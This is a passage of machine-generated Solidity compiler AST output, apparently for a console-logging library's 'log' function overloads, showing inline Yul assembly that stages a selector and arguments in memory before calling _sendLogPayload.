","nodeType":"YulIdentifier","src":"233381:5:22"},"nativeSrc":"233381:11:22","nodeType":"YulFunctionCall","src":"233381:11:22"},"variableNames":[{"name":"m3","nativeSrc":"233375:2:22","nodeType":"YulIdentifier","src":"233375:2:22"}]},{"nativeSrc":"233405:17:22","nodeType":"YulAssignment","src":"233405:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"233417:4:22","nodeType":"YulLiteral","src":"233417:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"233411:5:22","nodeType":"YulIdentifier","src":"233411:5:22"},"nativeSrc":"233411:11:22","nodeType":"YulFunctionCall","src":"233411:11:22"},"variableNames":[{"name":"m4","nativeSrc":"233405:2:22","nodeType":"YulIdentifier","src":"233405:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"233506:4:22","nodeType":"YulLiteral","src":"233506:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"233512:10:22","nodeType":"YulLiteral","src":"233512:10:22","type":"","value":"0xef72c513"}],"functionName":{"name":"mstore","nativeSrc":"233499:6:22","nodeType":"YulIdentifier","src":"233499:6:22"},"nativeSrc":"233499:24:22","nodeType":"YulFunctionCall","src":"233499:24:22"},"nativeSrc":"233499:24:22","nodeType":"YulExpressionStatement","src":"233499:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"233543:4:22","nodeType":"YulLiteral","src":"233543:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"233549:2:22","nodeType":"YulIdentifier","src":"233549:2:22"}],"functionName":{"name":"mstore","nativeSrc":"233536:6:22","nodeType":"YulIdentifier","src":"233536:6:22"},"nativeSrc":"233536:16:22","nodeType":"YulFunctionCall","src":"233536:16:22"},"nativeSrc":"233536:16:22","nodeType":"YulExpressionStatement","src":"233536:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"233572:4:22","nodeType":"YulLiteral","src":"233572:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"233578:2:22","nodeType":"YulIdentifier","src":"233578:2:22"}],"functionName":{"name":"mstore","nativeSrc":"233565:6:22","nodeType":"YulIdentifier","src":"233565:6:22"},"nativeSrc":"233565:16:22","nodeType":"YulFunctionCall","src":"233565:16:22"},"nativeSrc":"233565:16:22","nodeType":"YulExpressionStatement","src":"233565:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"233601:4:22","nodeType":"YulLiteral","src":"233601:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"233607:2:22","nodeType":"YulIdentifier","src":"233607:2:22"}],"functionName":{"name":"mstore","nativeSrc":"233594:6:22","nodeType":"YulIdentifier","src":"233594:6:22"},"nativeSrc":"233594:16:22","nodeType":"YulFunctionCall","src":"233594:16:22"},"nativeSrc":"233594:16:22","nodeType":"YulExpressionStatement","src":"233594:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"233630:4:22","nodeType":"YulLiteral","src":"233630:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"233636:2:22","nodeType":"YulIdentifier","src":"233636:2:22"}],"functionName":{"name":"mstore","nativeSrc":"233623:6:22","nodeType":"YulIdentifier","src":"233623:6:22"},"nativeSrc":"233623:16:22","nodeType":"YulFunctionCall","src":"233623:16:22"},"nativeSrc":"233623:16:22","nodeType":"YulExpressionStatement","src":"233623:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41428,"isOffset":false,"isSlot":false,"src":"233285:2:22","valueSize":1},{"declaration":41431,"isOffset":false,"isSlot":false,"src":"233315:2:22","valueSize":1},{"declaration":41434,"isOffset":false,"isSlot":false,"src":"233345:2:22","valueSize":1},{"declaration":41437,"isOffset":false,"isSlot":false,"src":"233375:2:22","valueSize":1},{"declaration":41440,"isOffset":false,"isSlot":false,"src":"233405:2:22","valueSize":1},{"declaration":41418,"isOffset":false,"isSlot":false,"src":"233549:2:22","valueSize":1},{"declaration":41420,"isOffset":false,"isSlot":false,"src":"233578:2:22","valueSize":1},{"declaration":41422,"isOffset":false,"isSlot":false,"src":"233607:2:22","valueSize":1},{"declaration":41424,"isOffset":false,"isSlot":false,"src":"233636:2:22","valueSize":1}],"id":41442,"nodeType":"InlineAssembly","src":"233262:387:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41444,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"233674:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":41445,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"233680:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":41443,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"233658:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41446,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"233658:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41447,"nodeType":"ExpressionStatement","src":"233658:27:22"},{"AST":{"nativeSrc":"233704:156:22","nodeType":"YulBlock","src":"233704:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"233725:4:22","nodeType":"YulLiteral","src":"233725:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"233731:2:22","nodeType":"YulIdentifier","src":"233731:2:22"}],"functionName":{"name":"mstore","nativeSrc":"233718:6:22","nodeType":"YulIdentifier","src":"233718:6:22"},"nativeSrc":"233718:16:22","nodeType":"YulFunctionCall","src":"233718:16:22"},"nativeSrc":"233718:16:22","nodeType":"YulExpressionStatement","src":"233718:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"233754:4:22","nodeType":"YulLiteral","src":"233754:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"233760:2:22","nodeType":"YulIdentifier","src":"233760:2:22"}],"functionName":{"name":"mstore","nativeSrc":"233747:6:22","nodeType":"YulIdentifier","src":"233747:6:22"},"nativeSrc":"233747:16:22","nodeType":"YulFunctionCall","src":"233747:16:22"},"nativeSrc":"233747:16:22","nodeType":"YulExpressionStatement","src":"233747:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"233783:4:22","nodeType":"YulLiteral","src":"233783:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"233789:2:22","nodeType":"YulIdentifier","src":"233789:2:22"}],"functionName":{"name":"mstore","nativeSrc":"233776:6:22","nodeType":"YulIdentifier","src":"233776:6:22"},"nativeSrc":"233776:16:22","nodeType":"YulFunctionCall","src":"233776:16:22"},"nativeSrc":"233776:16:22","nodeType":"YulExpressionStatement","src":"233776:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"233812:4:22","nodeType":"YulLiteral","src":"233812:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"233818:2:22","nodeType":"YulIdentifier","src":"233818:2:22"}],"functionName":{"name":"mstore","nativeSrc":"233805:6:22","nodeType":"YulIdentifier","src":"233805:6:22"},"nativeSrc":"233805:16:22","nodeType":"YulFunctionCall","src":"233805:16:22"},"nativeSrc":"233805:16:22","nodeType":"YulExpressionStatement","src":"233805:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"233841:4:22","nodeType":"YulLiteral","src":"233841:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"233847:2:22","nodeType":"YulIdentifier","src":"233847:2:22"}],"functionName":{"name":"mstore","nativeSrc":"233834:6:22","nodeType":"YulIdentifier","src":"233834:6:22"},"nativeSrc":"233834:16:22","nodeType":"YulFunctionCall","src":"233834:16:22"},"nativeSrc":"233834:16:22","nodeType":"YulExpressionStatement","src":"233834:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41428,"isOffset":false,"isSlot":false,"src":"233731:2:22","valueSize":1},{"declaration":41431,"isOffset":false,"isSlot":false,"src":"233760:2:22","valueSize":1},{"declaration":41434,"isOffset":false,"isSlot":false,"src":"233789:2:22","valueSize":1},{"declaration":41437,"isOffset":false,"isSlot":false,"src":"233818:2:22","valueSize":1},{"declaration":41440,"isOffset":false,"isSlot":false,"src":"233847:2:22","valueSize":1}],"id":41448,"nodeType":"InlineAssembly","src":"233695:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"233089:3:22","parameters":{"id":41425,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41418,"mutability":"mutable","name":"p0","nameLocation":"233101:2:22","nodeType":"VariableDeclaration","scope":41450,"src":"233093:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41417,"name":"uint256","nodeType":"ElementaryTypeName","src":"233093:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41420,"mutability":"mutable","name":"p1","nameLocation":"233113:2:22","nodeType":"VariableDeclaration","scope":41450,"src":"233105:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41419,"name":"address","nodeType":"ElementaryTypeName","src":"233105:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41422,"mutability":"mutable","name":"p2","nameLocation":"233122:2:22","nodeType":"VariableDeclaration","scope":41450,"src":"233117:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41421,"name":"bool","nodeType":"ElementaryTypeName","src":"233117:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41424,"mutability":"mutable","name":"p3","nameLocation":"233134:2:22","nodeType":"VariableDeclaration","scope":41450,"src":"233126:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41423,"name":"address","nodeType":"ElementaryTypeName","src":"233126:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"233092:45:22"},"returnParameters":{"id":41426,"nodeType":"ParameterList","parameters":[],"src":"233152:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41484,"nodeType":"FunctionDefinition","src":"233872:780:22","nodes":[],"body":{"id":41483,"nodeType":"Block","src":"233941:711:22","nodes":[],"statements":[{"assignments":[41462],"declarations":[{"constant":false,"id":41462,"mutability":"mutable","name":"m0","nameLocation":"233959:2:22","nodeType":"VariableDeclaration","scope":41483,"src":"233951:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41461,"name":"bytes32","nodeType":"ElementaryTypeName","src":"233951:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41463,"nodeType":"VariableDeclarationStatement","src":"233951:10:22"},{"assignments":[41465],"declarations":[{"constant":false,"id":41465,"mutability":"mutable","name":"m1","nameLocation":"233979:2:22","nodeType":"VariableDeclaration","scope":41483,"src":"233971:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41464,"name":"bytes32","nodeType":"ElementaryTypeName","src":"233971:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41466,"nodeType":"VariableDeclarationStatement","src":"233971:10:22"},{"assignments":[41468],"declarations":[{"constant":false,"id":41468,"mutability":"mutable","name":"m2","nameLocation":"233999:2:22","nodeType":"VariableDeclaration","scope":41483,"src":"233991:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41467,"name":"bytes32","nodeType":"ElementaryTypeName","src":"233991:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41469,"nodeType":"VariableDeclarationStatement","src":"233991:10:22"},{"assignments":[41471],"declarations":[{"constant":false,"id":41471,"mutability":"mutable","name":"m3","nameLocation":"234019:2:22","nodeType":"VariableDeclaration","scope":41483,"src":"234011:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41470,"name":"bytes32","nodeType":"ElementaryTypeName","src":"234011:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41472,"nodeType":"VariableDeclarationStatement","src":"234011:10:22"},{"assignments":[41474],"declarations":[{"constant":false,"id":41474,"mutability":"mutable","name":"m4","nameLocation":"234039:2:22","nodeType":"VariableDeclaration","scope":41483,"src":"234031:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41473,"name":"bytes32","nodeType":"ElementaryTypeName","src":"234031:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41475,"nodeType":"VariableDeclarationStatement","src":"234031:10:22"},{"AST":{"nativeSrc":"234060:375:22","nodeType":"YulBlock","src":"234060:375:22","statements":[{"nativeSrc":"234074:17:22","nodeType":"YulAssignment","src":"234074:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"234086:4:22","nodeType":"YulLiteral","src":"234086:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"234080:5:22","nodeType":"YulIdentifier","src":"234080:5:22"},"nativeSrc":"234080:11:22","nodeType":"YulFunctionCall","src":"234080:11:22"},"variableNames":[{"name":"m0","nativeSrc":"234074:2:22","nodeType":"YulIdentifier","src":"234074:2:22"}]},{"nativeSrc":"234104:17:22","nodeType":"YulAssignment","src":"234104:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"234116:4:22","nodeType":"YulLiteral","src":"234116:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"234110:5:22","nodeType":"YulIdentifier","src":"234110:5:22"},"nativeSrc":"234110:11:22","nodeType":"YulFunctionCall","src":"234110:11:22"},"variableNames":[{"name":"m1","nativeSrc":"234104:2:22","nodeType":"YulIdentifier","src":"234104:2:22"}]},{"nativeSrc":"234134:17:22","nodeType":"YulAssignment","src":"234134:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"234146:4:22","nodeType":"YulLiteral","src":"234146:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"234140:5:22","nodeType":"YulIdentifier","src":"234140:5:22"},"nativeSrc":"234140:11:22","nodeType":"YulFunctionCall","src":"234140:11:22"},"variableNames":[{"name":"m2","nativeSrc":"234134:2:22","nodeType":"YulIdentifier","src":"234134:2:22"}]},{"nativeSrc":"234164:17:22","nodeType":"YulAssignment","src":"234164:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"234176:4:22","nodeType":"YulLiteral","src":"234176:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"234170:5:22","nodeType":"YulIdentifier","src":"234170:5:22"},"nativeSrc":"234170:11:22","nodeType":"YulFunctionCall","src":"234170:11:22"},"variableNames":[{"name":"m3","nativeSrc":"234164:2:22","nodeType":"YulIdentifier","src":"234164:2:22"}]},{"nativeSrc":"234194:17:22","nodeType":"YulAssignment","src":"234194:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"234206:4:22","nodeType":"YulLiteral","src":"234206:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"234200:5:22","nodeType":"YulIdentifier","src":"234200:5:22"},"nativeSrc":"234200:11:22","nodeType":"YulFunctionCall","src":"234200:11:22"},"variableNames":[{"name":"m4","nativeSrc":"234194:2:22","nodeType":"YulIdentifier","src":"234194:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"234292:4:22","nodeType":"YulLiteral","src":"234292:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"234298:10:22","nodeType":"YulLiteral","src":"234298:10:22","type":"","value":"0xe351140f"}],"functionName":{"name":"mstore","nativeSrc":"234285:6:22","nodeType":"YulIdentifier","src":"234285:6:22"},"nativeSrc":"234285:24:22","nodeType":"YulFunctionCall","src":"234285:24:22"},"nativeSrc":"234285:24:22","nodeType":"YulExpressionStatement","src":"234285:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"234329:4:22","nodeType":"YulLiteral","src":"234329:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"234335:2:22","nodeType":"YulIdentifier","src":"234335:2:22"}],"functionName":{"name":"mstore","nativeSrc":"234322:6:22","nodeType":"YulIdentifier","src":"234322:6:22"},"nativeSrc":"234322:16:22","nodeType":"YulFunctionCall","src":"234322:16:22"},"nativeSrc":"234322:16:22","nodeType":"YulExpressionStatement","src":"234322:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"234358:4:22","nodeType":"YulLiteral","src":"234358:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"234364:2:22","nodeType":"YulIdentifier","src":"234364:2:22"}],"functionName":{"name":"mstore","nativeSrc":"234351:6:22","nodeType":"YulIdentifier","src":"234351:6:22"},"nativeSrc":"234351:16:22","nodeType":"YulFunctionCall","src":"234351:16:22"},"nativeSrc":"234351:16:22","nodeType":"YulExpressionStatement","src":"234351:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"234387:4:22","nodeType":"YulLiteral","src":"234387:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"234393:2:22","nodeType":"YulIdentifier","src":"234393:2:22"}],"functionName":{"name":"mstore","nativeSrc":"234380:6:22","nodeType":"YulIdentifier","src":"234380:6:22"},"nativeSrc":"234380:16:22","nodeType":"YulFunctionCall","src":"234380:16:22"},"nativeSrc":"234380:16:22","nodeType":"YulExpressionStatement","src":"234380:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"234416:4:22","nodeType":"YulLiteral","src":"234416:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"234422:2:22","nodeType":"YulIdentifier","src":"234422:2:22"}],"functionName":{"name":"mstore","nativeSrc":"234409:6:22","nodeType":"YulIdentifier","src":"234409:6:22"},"nativeSrc":"234409:16:22","nodeType":"YulFunctionCall","src":"234409:16:22"},"nativeSrc":"234409:16:22","nodeType":"YulExpressionStatement","src":"234409:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41462,"isOffset":false,"isSlot":false,"src":"234074:2:22","valueSize":1},{"declaration":41465,"isOffset":false,"isSlot":false,"src":"234104:2:22","valueSize":1},{"declaration":41468,"isOffset":false,"isSlot":false,"src":"234134:2:22","valueSize":1},{"declaration":41471,"isOffset":false,"isSlot":false,"src":"234164:2:22","valueSize":1},{"declaration":41474,"isOffset":false,"isSlot":false,"src":"234194:2:22","valueSize":1},{"declaration":41452,"isOffset":false,"isSlot":false,"src":"234335:2:22","valueSize":1},{"declaration":41454,"isOffset":false,"isSlot":false,"src":"234364:2:22","valueSize":1},{"declaration":41456,"isOffset":false,"isSlot":false,"src":"234393:2:22","valueSize":1},{"declaration":41458,"isOffset":false,"isSlot":false,"src":"234422:2:22","valueSize":1}],"id":41476,"nodeType":"InlineAssembly","src":"234051:384:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":41478,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"234460:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783834","id":41479,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"234466:4:22","typeDescriptions":{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"},"value":"0x84"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_132_by_1","typeString":"int_const 132"}],"id":41477,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"234444:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":41480,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"234444:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":41481,"nodeType":"ExpressionStatement","src":"234444:27:22"},{"AST":{"nativeSrc":"234490:156:22","nodeType":"YulBlock","src":"234490:156:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"234511:4:22","nodeType":"YulLiteral","src":"234511:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"234517:2:22","nodeType":"YulIdentifier","src":"234517:2:22"}],"functionName":{"name":"mstore","nativeSrc":"234504:6:22","nodeType":"YulIdentifier","src":"234504:6:22"},"nativeSrc":"234504:16:22","nodeType":"YulFunctionCall","src":"234504:16:22"},"nativeSrc":"234504:16:22","nodeType":"YulExpressionStatement","src":"234504:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"234540:4:22","nodeType":"YulLiteral","src":"234540:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"234546:2:22","nodeType":"YulIdentifier","src":"234546:2:22"}],"functionName":{"name":"mstore","nativeSrc":"234533:6:22","nodeType":"YulIdentifier","src":"234533:6:22"},"nativeSrc":"234533:16:22","nodeType":"YulFunctionCall","src":"234533:16:22"},"nativeSrc":"234533:16:22","nodeType":"YulExpressionStatement","src":"234533:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"234569:4:22","nodeType":"YulLiteral","src":"234569:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"234575:2:22","nodeType":"YulIdentifier","src":"234575:2:22"}],"functionName":{"name":"mstore","nativeSrc":"234562:6:22","nodeType":"YulIdentifier","src":"234562:6:22"},"nativeSrc":"234562:16:22","nodeType":"YulFunctionCall","src":"234562:16:22"},"nativeSrc":"234562:16:22","nodeType":"YulExpressionStatement","src":"234562:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"234598:4:22","nodeType":"YulLiteral","src":"234598:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"234604:2:22","nodeType":"YulIdentifier","src":"234604:2:22"}],"functionName":{"name":"mstore","nativeSrc":"234591:6:22","nodeType":"YulIdentifier","src":"234591:6:22"},"nativeSrc":"234591:16:22","nodeType":"YulFunctionCall","src":"234591:16:22"},"nativeSrc":"234591:16:22","nodeType":"YulExpressionStatement","src":"234591:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"234627:4:22","nodeType":"YulLiteral","src":"234627:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"234633:2:22","nodeType":"YulIdentifier","src":"234633:2:22"}],"functionName":{"name":"mstore","nativeSrc":"234620:6:22","nodeType":"YulIdentifier","src":"234620:6:22"},"nativeSrc":"234620:16:22","nodeType":"YulFunctionCall","src":"234620:16:22"},"nativeSrc":"234620:16:22","nodeType":"YulExpressionStatement","src":"234620:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":41462,"isOffset":false,"isSlot":false,"src":"234517:2:22","valueSize":1},{"declaration":41465,"isOffset":false,"isSlot":false,"src":"234546:2:22","valueSize":1},{"declaration":41468,"isOffset":false,"isSlot":false,"src":"234575:2:22","valueSize":1},{"declaration":41471,"isOffset":false,"isSlot":false,"src":"234604:2:22","valueSize":1},{"declaration":41474,"isOffset":false,"isSlot":false,"src":"234633:2:22","valueSize":1}],"id":41482,"nodeType":"InlineAssembly","src":"234481:165:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"233881:3:22","parameters":{"id":41459,"nodeType":"ParameterList","parameters":[{"constant":false,"id":41452,"mutability":"mutable","name":"p0","nameLocation":"233893:2:22","nodeType":"VariableDeclaration","scope":41484,"src":"233885:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":41451,"name":"uint256","nodeType":"ElementaryTypeName","src":"233885:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":41454,"mutability":"mutable","name":"p1","nameLocation":"233905:2:22","nodeType":"VariableDeclaration","scope":41484,"src":"233897:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":41453,"name":"address","nodeType":"ElementaryTypeName","src":"233897:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":41456,"mutability":"mutable","name":"p2","nameLocation":"233914:2:22","nodeType":"VariableDeclaration","scope":41484,"src":"233909:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41455,"name":"bool","nodeType":"ElementaryTypeName","src":"233909:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":41458,"mutability":"mutable","name":"p3","nameLocation":"233923:2:22","nodeType":"VariableDeclaration","scope":41484,"src":"233918:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":41457,"name":"bool","nodeType":"ElementaryTypeName","src":"233918:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"233884:42:22"},"returnParameters":{"id":41460,"nodeType":"ParameterList","parameters":[],"src":"233941:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":41518,"nodeType":"FunctionDefinition","src":"234658:786:22","nodes":[],"body":{"id":41517,"nodeType":"Block","src":"234730:714:22","nodes":[],"statements":[{"assignments":[41496],"declarations":[{"constant":false,"id":41496,"mutability":"mutable","name":"m0","nameLocation":"234748:2:22","nodeType":"VariableDeclaration","scope":41517,"src":"234740:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41495,"name":"bytes32","nodeType":"ElementaryTypeName","src":"234740:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41497,"nodeType":"VariableDeclarationStatement","src":"234740:10:22"},{"assignments":[41499],"declarations":[{"constant":false,"id":41499,"mutability":"mutable","name":"m1","nameLocation":"234768:2:22","nodeType":"VariableDeclaration","scope":41517,"src":"234760:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41498,"name":"bytes32","nodeType":"ElementaryTypeName","src":"234760:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41500,"nodeType":"VariableDeclarationStatement","src":"234760:10:22"},{"assignments":[41502],"declarations":[{"constant":false,"id":41502,"mutability":"mutable","name":"m2","nameLocation":"234788:2:22","nodeType":"VariableDeclaration","scope":41517,"src":"234780:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41501,"name":"bytes32","nodeType":"ElementaryTypeName","src":"234780:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41503,"nodeType":"VariableDeclarationStatement","src":"234780:10:22"},{"assignments":[41505],"declarations":[{"constant":false,"id":41505,"mutability":"mutable","name":"m3","nameLocation":"234808:2:22","nodeType":"VariableDeclaration","scope":41517,"src":"234800:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41504,"name":"bytes32","nodeType":"ElementaryTypeName","src":"234800:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41506,"nodeType":"VariableDeclarationStatement","src":"234800:10:22"},{"assignments":[41508],"declarations":[{"constant":false,"id":41508,"mutability":"mutable","name":"m4","nameLocation":"234828:2:22","nodeType":"VariableDeclaration","scope":41517,"src":"234820:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":41507,"name":"bytes32","nodeType":"ElementaryTypeName","src":"234820:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":41509,"nodeType":"VariableDeclarationStatement","src":"234820:10:22"},{"AST":{"nativeSrc":"234849:378:22","nodeType":"YulBlock","src":"234849:378:22","statements":[{"nativeSrc":"234863:17:22","nodeType":"YulAssignment","src":"234863:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"234875:4:22","nodeType":"YulLiteral","src":"234875:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"234869:5:22","nodeType":"YulIdentifier","src":"234869:5:22"},"nativeSrc":"234869:11:22"